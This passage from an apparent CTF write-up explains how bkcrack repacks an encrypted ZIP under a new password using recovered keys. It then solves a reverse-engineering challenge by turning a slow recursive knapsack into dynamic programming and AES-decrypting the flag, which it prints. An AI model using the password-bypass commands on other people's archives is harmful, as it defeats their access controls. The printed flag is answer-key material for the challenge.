bkcrack 提供了两种方式:

  • -U 选项:用已知密钥创建一个新 ZIP,并设置一个新密码(比如 newpassword)。这样就能用普通解压软件输入新密码解压。

  • -d 选项:直接解密单个文件得到压缩数据,但还需要手动解压缩(如果文件是 Deflate 压缩的)。

这就像是你有一把正确的钥匙(密钥),但锁匠的工具(unzip)只接受密码指令来复制钥匙,而不是直接使用钥匙。bkcrack -U相当于用钥匙打开锁,然后换上一把新锁,把新钥匙(新密码)给你。

操作对应

bash 复制代码
# 1. 用密钥生成一个新 ZIP,密码设为 "newpass"
./bkcrack -C flag.zip -k xxxxxxxx yyyyyyyy zzzzzzzz -U unlocked.zip newpass

# 2. 用新密码解压
unzip -P newpass unlocked.zip

这样绕过了原始密码,但本质是利用密钥"重打包"了一个新 ZIP。

五、REV

1、Final Cut

题目描述:UNLP Metared got creative and made this render engine but is a bit slow can you help us to create the perfect movie?

可以拿到一个文件

bash 复制代码
# 检查文件类型
└─# file final_cut  
final_cut: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=78960d3da59ce6a1a23f0a7020d6d65915c88c25, for GNU/Linux 3.2.0, stripped

# 看看程序的行为
└─# ./final_cut 
===============================================
   UNLP METARED RENDER ENGINE - FINAL CUT v.01 
===============================================
[*] Loading raw footage...
[*] Scenes: 100 | Max Runtime: 240
[!] WARNING: Legacy render algorithm detected.
[!] Calculating optimal cut... This may take a while.
[*] Rendering... (Grab some popcorn)
321
321312
321312
^C

初步分析:

  • 程序是一个"渲染引擎",需要计算"optimal cut"(最佳剪辑)

  • 输出提示:Scenes: 100 | Max Runtime: 240

  • 警告:Legacy render algorithm detected(使用旧版算法,很慢)

bash 复制代码
# 字符串检查
└─# strings final_cut | grep -i -A3 -B3 "scene\|runtime\|cut\|optimal\|render\|legacy"
PTE1
u+UH
RE)}
[+] OPTIMAL CUT SCORE: %lld
[+] Initializing AES-128 Decryption Projector...
[!] Projector Malfunction: Key Error.
=========================================
--
=========================================
=========================================
===============================================
   UNLP METARED RENDER ENGINE - FINAL CUT v.01 
[*] Loading raw footage...
[*] Scenes: %d | Max Runtime: %d
[!] WARNING: Legacy render algorithm detected.
[!] Calculating optimal cut... This may take a while.
[*] Rendering... (Grab some popcorn)
9*3$"
{"type":"deb","os":"ubuntu","name":"glibc","version":"2.41-6ubuntu1.2","architecture":"amd64"}
GCC: (Ubuntu 14.2.0-19ubuntu2) 14.2.0

通过字符串分析发现:

  • [+] OPTIMAL CUT SCORE: %lld - 会输出一个分数

  • [+] Initializing AES-128 Decryption Projector... - 使用AES-128解密

  • [!] Projector Malfunction: Key Error. - 密钥错误

  • MOVIE TITLE (DECRYPTED) - 解密后显示电影标题(即flag)

使用IDA/Ghidra/objdump分析二进制文件:

bash 复制代码
1477:       f3 0f 1e fa             endbr64
147b:       55                      push   %rbp
147c:       48 89 e5                mov    %rsp,%rbp
...
1528:       be 64 00 00 00          mov    $0x64,%esi      ; esi = 100 (Scenes)
152d:       bf f0 00 00 00          mov    $0xf0,%edi     ; edi = 240 (Max Runtime)
1532:       e8 12 fd ff ff          call   1249 <puts@plt+0xf9>  ; 调用计算函数
1537:       48 89 45 f8             mov    %rax,-0x8(%rbp) ; 保存结果
153b:       48 8b 45 f8             mov    -0x8(%rbp),%rax
153f:       48 89 c7                mov    %rax,%rdi
1542:       e8 db fd ff ff          call   1322 <puts@plt+0x1d2> ; 调用AES解密函数

这里代码太长了,只粘出来一点,总的来说就是通过分析代码:

主逻辑:

  1. 计算 optimal_cut(240, 100)(递归函数,很慢)

  2. 使用结果作为AES-128密钥解密数据

  3. 输出解密后的电影标题

关键函数:

  • 0x1249: 递归计算optimal cut score

  • 0x1322: AES解密函数

  • 0x2020: table1数组(100个整数)

  • 0x21c0: table2数组(100个整数)

  • 0x2360: 加密数据(48字节)

分析optimal_cut 函数发现是标准的0/1背包问题:

  • 容量: 240(最大运行时间)

  • 物品数量: 100(场景数)

  • 物品重量: table1中的值

  • 物品价值: table2中的值

  • 目标: 最大化总价值

原程序使用递归算法,时间复杂度为 O(2ⁿ),需要优化。

解题步骤

1、提取数据

bash 复制代码
# 提取table1(100个4字节整数)
dd if=final_cut of=table1.bin bs=1 count=400 skip=$((0x2020))

# 提取table2(100个4字节整数)
dd if=final_cut of=table2.bin bs=1 count=400 skip=$((0x21c0))

2、优化算法,将递归算法改为动态规划:

bash 复制代码
def solve_knapsack(weights, values, capacity):
    dp = [0] * (capacity + 1)
    n = len(weights)
    
    for i in range(n):
        w = weights[i]
        v = values[i]
        for j in range(capacity, w-1, -1):
            if dp[j-w] + v > dp[j]:
                dp[j] = dp[j-w] + v
    
    return dp[capacity]

3、计算optimal score

bash 复制代码
runtime = 240
scenes = 100

# 读取并解析数据
table1 = [...]  # 从table1.bin解析
table2 = [...]  # 从table2.bin解析

optimal_score = solve_knapsack(table1, table2, runtime)
# 计算结果: 17452999 (0x10a4fc7)

4、AES解密

bash 复制代码
# 生成AES密钥(8字节小端序 + 8字节0填充)
key = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
# key: c7 4f 0a 01 00 00 00 00 00 00 00 00 00 00 00 00

# 加密数据(从0x2360提取)
encrypted_data = bytes.fromhex("34df2253...4c2920e3")

# AES-ECB解密
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted_data)
# 结果: b'UNLP{DyNam1C_Pr0gRamm1nG_w1Ns_0sC4rs}\x0b...'

完整脚本

python 复制代码
#!/usr/bin/env python3
import struct
from Crypto.Cipher import AES

# 读取二进制文件
with open('table1.bin', 'rb') as f:
    table1_bytes = f.read()
with open('table2.bin', 'rb') as f:
    table2_bytes = f.read()

# 解析为整数列表(小端序)
table1 = []
table2 = []
for i in range(0, 400, 4):
    table1.append(struct.unpack('<I', table1_bytes[i:i+4])[0])
    table2.append(struct.unpack('<I', table2_bytes[i:i+4])[0])

print(f"Loaded {len(table1)} scenes")
print(f"First 5 weights: {table1[:5]}")
print(f"First 5 values: {table2[:5]}")

# 0/1背包问题动态规划
runtime = 240
scenes = 100

# 初始化DP数组
dp = [0] * (runtime + 1)

# 动态规划求解
for i in range(scenes):
    weight = table1[i]
    value = table2[i]
    # 逆向遍历,确保每个物品只选一次
    for w in range(runtime, weight - 1, -1):
        if dp[w - weight] + value > dp[w]:
            dp[w] = dp[w - weight] + value

optimal_score = dp[runtime]
print(f"\nOptimal cut score: {optimal_score} (0x{optimal_score:x})")

# 转换为AES密钥(8字节小端序 + 8字节0填充)
key = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
print(f"AES-128 Key: {key.hex()}")

# 读取加密数据
encrypted_data = bytes.fromhex("34df22538618f511846852f789c0ddabb0e8d35245297db70b4b7e58f6e8b443f43af9897c2e309d5569211d4c2920e3")

# 尝试解密
try:
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(encrypted_data)
    print(f"\nDecrypted data (hex): {decrypted.hex()}")
    print(f"Decrypted data (ascii): {decrypted}")
    
    # 尝试解码为字符串
    try:
        print(f"Decrypted string: {decrypted.decode('utf-8', errors='ignore')}")
    except:
        print("Could not decode as UTF-8")
        
except Exception as e:
    print(f"Decryption error: {e}")

# 可选:验证计算,尝试不同的密钥格式
print("\nTrying different key formats...")
# 格式1: 小端序8字节 + 填充
key1 = optimal_score.to_bytes(8, 'little') + b'\x00' * 8
# 格式2: 大端序8字节 + 填充  
key2 = optimal_score.to_bytes(8, 'big') + b'\x00' * 8
# 格式3: 重复8字节
key3 = optimal_score.to_bytes(8, 'little') * 2
# 格式4: 大端序重复
key4 = optimal_score.to_bytes(8, 'big') * 2

for i, key in enumerate([key1, key2, key3, key4], 1):
    try:
        cipher = AES.new(key, AES.MODE_ECB)
        decrypted = cipher.decrypt(encrypted_data)
        print(f"Key format {i} ({key.hex()[:16]}...): {decrypted[:16].hex()}")
        if b'flag' in decrypted.lower() or b'ctf' in decrypted.lower():
            print(f"  Possible flag found: {decrypted}")
    except:
        pass
相关推荐
码农12138号3 小时前
Bugku HackINI 2022 Whois 详解
linux·web安全·ctf·命令执行·bugku·换行符
三七吃山漆5 小时前
攻防世界——comment
android·python·web安全·网络安全·ctf
Suckerbin7 小时前
2025年Solar应急响应6月赛 恶意进程与连接分析
安全·web安全·网络安全·安全威胁分析
山川绿水8 小时前
bugku overflow
网络安全·pwn·安全架构
浩浩测试一下8 小时前
Kerberos 资源约束性委派误配置下的 S4U2self → S4U2proxy → DCSync 提权高阶手法链
安全·web安全·网络安全·中间件·flask·系统安全·安全架构
码农12138号8 小时前
Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解
web安全·php·ctf·文件上传漏洞·bugku
Z_renascence8 小时前
web254-web259
web安全·网络安全
渡我白衣10 小时前
Select的优化:poll
开发语言·网络·c++·人工智能·网络协议·tcp/ip·网络安全
码农12138号10 小时前
网络安全-绕过技巧(WAF、白名单、黑名单)总结
web安全·网络安全·绕过·过滤绕过